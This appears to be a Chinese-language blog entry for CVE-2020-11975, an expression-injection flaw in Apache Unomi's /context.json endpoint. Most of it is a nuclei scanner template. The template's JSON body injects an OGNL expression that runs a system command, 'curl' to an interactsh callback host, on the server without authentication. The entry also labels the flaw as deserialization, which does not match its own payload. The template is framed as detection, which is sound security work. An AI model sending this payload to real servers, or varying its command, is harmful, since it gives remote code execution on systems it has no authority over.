Apache Unomi Expression Language Injection Vulnerability

漏洞信息

漏洞名称: Apache Unomi Expression Language Injection Vulnerability

漏洞编号:

  • CVE: CVE-2020-11975

漏洞类型: 反序列化

漏洞等级: 严重

漏洞描述: Apache Unomi是一个开源的客户数据平台(CDP),用于管理用户数据和提供个性化服务。它广泛应用于企业级服务中,特别是在需要处理大量用户数据和提供个性化体验的场景中。该漏洞存在于Apache Unomi的/context.json端点,由于不安全的反序列化或表达式注入,攻击者可以构造恶意的请求,实现远程代码执行(RCE)。具体来说,漏洞的根源在于对用户输入的验证不足,导致攻击者可以通过构造特定的JSON请求,注入恶意的表达式语言(EL)代码,进而在服务器上执行任意命令。这种漏洞的利用不需要认证,且可以自动化执行,因此对系统安全构成严重威胁。成功利用此漏洞的攻击者可以完全控制受影响的系统,导致数据泄露、服务中断或其他恶意活动。

产品厂商: Apache

产品名称: Apache Unomi

来源: https://github.com/projectdiscovery/nuclei-templates/blob/8031548ee0f9dea4303e171741a9ecd7e0f74317/http%2Fcves%2F2020%2FCVE-2020-11975.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

id: CVE-2020-11975

info:
name: Apache Unomi - Expression Language Injection
author: Sourabh-Sahu
severity: critical
description: |
Detects potential RCE via insecure deserialization or expression injection in /context.json endpoint.
tags: rce

requests:
- method: POST
path:
- "{{BaseURL}}/context.json"
headers:
Content-Type: application/json
body: |
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"curl {{interactsh-url}}\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}

matchers:
- type: word
part: interactsh_protocol
words:
- "dns" # or "http" depending on the callback type



Apache Unomi Expression Language Injection Vulnerability
http://example.com/2025/07/21/github_2337432800/
作者
lianccc
发布于
2025年7月21日
许可协议